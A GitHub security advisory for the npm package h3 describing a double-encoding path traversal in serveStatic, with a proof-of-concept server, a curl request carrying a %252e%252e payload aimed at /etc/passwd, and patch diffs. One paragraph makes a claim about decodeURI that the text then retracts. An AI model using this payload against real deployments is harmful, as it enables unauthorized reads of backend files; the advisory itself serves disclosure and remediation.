GHSA-72GR-QFP7-VWHW
Vulnerability from github – Published: 2026-03-20 20:50 – Updated: 2026-03-20 20:50Summary
The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.
Details
The vulnerability is a conflict between two decoding stages:
Stage 1 — H3Event constructor (src/event.ts:65-69):
if (url.pathname.includes("%")) {
url.pathname = decodeURI(
url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
);
}
This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).
Stage 2 — serveStatic (src/utils/static.ts:86-88):
const originalId = resolveDotSegments(
decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);
This applies a second decodeURI(), which decodes %2e → ., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.
Wait — re-examining the flow more carefully:
- Input pathname after event.ts:
/%2e%2e/%2e%2e/etc/passwd decodeURI()in static.ts converts%2e→., producing:/../../../etc/passwdresolveDotSegments("/../../../etc/passwd")does resolve..segments, clamping to/etc/passwd
The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:
- Request:
/%252e%252e/%252e%252e/etc/passwd - After event.ts decode:
/%2e%2e/%2e%2e/etc/passwd decodeURI()in static.ts:/%2e%2e/%2e%2e/etc/passwd(unchanged —decodeURIdoesn't decode%2e)resolveDotSegments()fast-returns at line 56 because%2econtains no literal.character:typescript if (!path.includes(".")) { return path; }- Asset ID
/%2e%2e/%2e%2e/etc/passwdis passed togetMeta()andgetContents()callbacks - URL-based backends resolve
%2e%2eas..per RFC 3986 / URL Standard
The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.
PoC
1. Create a minimal h3 server with a URL-based static backend:
// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";
const app = new H3();
app.get("/**", (event) => {
return serveStatic(event, {
getMeta(id) {
console.log("[getMeta] asset ID:", id);
// Simulate URL-based backend (CDN/S3)
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getMeta] resolved URL:", url.href);
return { type: "text/plain" };
},
getContents(id) {
console.log("[getContents] asset ID:", id);
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getContents] resolved URL:", url.href);
return `Fetched from: ${url.href}`;
},
});
});
serve({ fetch: app.fetch, port: 3000 });
2. Send the double-encoded traversal request:
curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'
3. Observe server logs:
[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getMeta] resolved URL: https://cdn.example.com/etc/passwd
[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getContents] resolved URL: https://cdn.example.com/etc/passwd
The %2e%2e sequences in the asset ID are resolved as .. by the URL constructor, causing the backend URL to traverse from /static/ to /etc/passwd.
Impact
- Arbitrary file read from backend storage: An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).
- Sensitive data exposure: Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.
- Affected deployments: Applications using
serveStaticwith callbacks that resolve asset IDs via URL construction (new URL(id, baseUrl)or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends usingpath.join()are not affected since%2e%2eis not resolved as a traversal sequence by filesystem APIs.
Recommended Fix
The resolveDotSegments() function must account for percent-encoded dot sequences. Additionally, the redundant decodeURI() in serveStatic should be removed since H3Event already handles decoding.
Fix 1 — Remove redundant decodeURI in src/utils/static.ts:86-88:
const originalId = resolveDotSegments(
- decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
+ withLeadingSlash(withoutTrailingSlash(event.url.pathname)),
);
Fix 2 — Harden resolveDotSegments in src/utils/internal/path.ts:55-73 to handle percent-encoded dots:
export function resolveDotSegments(path: string): string {
- if (!path.includes(".")) {
+ if (!path.includes(".") && !path.toLowerCase().includes("%2e")) {
return path;
}
// Normalize backslashes to forward slashes to prevent traversal via `\`
- const segments = path.replaceAll("\\", "/").split("/");
+ const segments = path.replaceAll("\\", "/")
+ .replaceAll(/%2e/gi, ".")
+ .split("/");
const resolved: string[] = [];
Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring resolveDotSegments cannot be bypassed with percent-encoded dots regardless of the caller.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.15.8"
},
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:50:09Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `serveStatic` utility in h3 applies a redundant `decodeURI()` call to the request pathname after `H3Event` has already performed percent-decoding with `%25` preservation. This double decoding converts `%252e%252e` into `%2e%2e`, which bypasses `resolveDotSegments()` (since it checks for literal `.` characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), `%2e%2e` is interpreted as `..` per the URL Standard, enabling path traversal to read arbitrary files from the backend.\n\n## Details\n\nThe vulnerability is a conflict between two decoding stages:\n\n**Stage 1 \u2014 `H3Event` constructor** (`src/event.ts:65-69`):\n\n```typescript\nif (url.pathname.includes(\"%\")) {\n url.pathname = decodeURI(\n url.pathname.includes(\"%25\") ? url.pathname.replace(/%25/g, \"%2525\") : url.pathname,\n );\n}\n```\n\nThis correctly preserves `%25` sequences by escaping them before decoding. A request for `/%252e%252e/etc/passwd` produces `event.url.pathname` = `/%2e%2e/etc/passwd` \u2014 the `%25` was preserved so `%252e` became `%2e` (not `.`).\n\n**Stage 2 \u2014 `serveStatic`** (`src/utils/static.ts:86-88`):\n\n```typescript\nconst originalId = resolveDotSegments(\n decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),\n);\n```\n\nThis applies a **second** `decodeURI()`, which decodes `%2e` \u2192 `.`, producing `/../../../etc/passwd`. However, the decoding happens *inside* the `resolveDotSegments()` call argument \u2014 `decodeURI` runs first, then `resolveDotSegments` processes the result.\n\nWait \u2014 re-examining the flow more carefully:\n\n1. Input pathname after event.ts: `/%2e%2e/%2e%2e/etc/passwd`\n2. `decodeURI()` in static.ts converts `%2e` \u2192 `.`, producing: `/../../../etc/passwd`\n3. `resolveDotSegments(\"/../../../etc/passwd\")` **does** resolve `..` segments, clamping to `/etc/passwd`\n\nThe actual bypass is subtler. `decodeURI()` does **not** decode `%2e` \u2014 it only decodes characters that `encodeURI` would encode. Since `.` is never encoded by `encodeURI`, `%2e` is **not** decoded by `decodeURI()`. So the chain is:\n\n1. Request: `/%252e%252e/%252e%252e/etc/passwd`\n2. After event.ts decode: `/%2e%2e/%2e%2e/etc/passwd`\n3. `decodeURI()` in static.ts: `/%2e%2e/%2e%2e/etc/passwd` (unchanged \u2014 `decodeURI` doesn\u0027t decode `%2e`)\n4. `resolveDotSegments()` fast-returns at line 56 because `%2e` contains no literal `.` character:\n ```typescript\n if (!path.includes(\".\")) {\n return path;\n }\n ```\n5. Asset ID `/%2e%2e/%2e%2e/etc/passwd` is passed to `getMeta()` and `getContents()` callbacks\n6. URL-based backends resolve `%2e%2e` as `..` per RFC 3986 / URL Standard\n\nThe root cause is `resolveDotSegments()` only checks for literal `.` characters and does not account for percent-encoded dot sequences (`%2e`). The `decodeURI()` in static.ts is redundant (event.ts already decodes) but is not the direct cause \u2014 the real gap is that `%2e%2e` survives as a traversal payload through both decoding stages and `resolveDotSegments`.\n\n## PoC\n\n**1. Create a minimal h3 server with a URL-based static backend:**\n\n```javascript\n// server.mjs\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"srvx\";\n\nconst app = new H3();\n\napp.get(\"/**\", (event) =\u003e {\n return serveStatic(event, {\n getMeta(id) {\n console.log(\"[getMeta] asset ID:\", id);\n // Simulate URL-based backend (CDN/S3)\n const url = new URL(id, \"https://cdn.example.com/static/\");\n console.log(\"[getMeta] resolved URL:\", url.href);\n return { type: \"text/plain\" };\n },\n getContents(id) {\n console.log(\"[getContents] asset ID:\", id);\n const url = new URL(id, \"https://cdn.example.com/static/\");\n console.log(\"[getContents] resolved URL:\", url.href);\n return `Fetched from: ${url.href}`;\n },\n });\n});\n\nserve({ fetch: app.fetch, port: 3000 });\n```\n\n**2. Send the double-encoded traversal request:**\n\n```bash\ncurl -v \u0027http://localhost:3000/%252e%252e/%252e%252e/etc/passwd\u0027\n```\n\n**3. Observe server logs:**\n\n```\n[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd\n[getMeta] resolved URL: https://cdn.example.com/etc/passwd\n[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd\n[getContents] resolved URL: https://cdn.example.com/etc/passwd\n```\n\nThe `%2e%2e` sequences in the asset ID are resolved as `..` by the `URL` constructor, causing the backend URL to traverse from `/static/` to `/etc/passwd`.\n\n## Impact\n\n- **Arbitrary file read from backend storage:** An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).\n- **Sensitive data exposure:** Depending on the backend, this could expose configuration files, credentials, source code, or other tenants\u0027 data in shared storage.\n- **Affected deployments:** Applications using `serveStatic` with callbacks that resolve asset IDs via URL construction (`new URL(id, baseUrl)` or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using `path.join()` are not affected since `%2e%2e` is not resolved as a traversal sequence by filesystem APIs.\n\n## Recommended Fix\n\nThe `resolveDotSegments()` function must account for percent-encoded dot sequences. Additionally, the redundant `decodeURI()` in `serveStatic` should be removed since `H3Event` already handles decoding.\n\n**Fix 1 \u2014 Remove redundant `decodeURI` in `src/utils/static.ts:86-88`:**\n\n```diff\n const originalId = resolveDotSegments(\n- decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),\n+ withLeadingSlash(withoutTrailingSlash(event.url.pathname)),\n );\n```\n\n**Fix 2 \u2014 Harden `resolveDotSegments` in `src/utils/internal/path.ts:55-73` to handle percent-encoded dots:**\n\n```diff\n export function resolveDotSegments(path: string): string {\n- if (!path.includes(\".\")) {\n+ if (!path.includes(\".\") \u0026\u0026 !path.toLowerCase().includes(\"%2e\")) {\n return path;\n }\n // Normalize backslashes to forward slashes to prevent traversal via `\\`\n- const segments = path.replaceAll(\"\\\\\", \"/\").split(\"/\");\n+ const segments = path.replaceAll(\"\\\\\", \"/\")\n+ .replaceAll(/%2e/gi, \".\")\n+ .split(\"/\");\n const resolved: string[] = [];\n```\n\nBoth fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring `resolveDotSegments` cannot be bypassed with percent-encoded dots regardless of the caller.",
"id": "GHSA-72gr-qfp7-vwhw",
"modified": "2026-03-20T20:50:09Z",
"published": "2026-03-20T20:50:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/h3js/h3/security/advisories/GHSA-72gr-qfp7-vwhw"
},
{
"type": "PACKAGE",
"url": "https://github.com/h3js/h3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.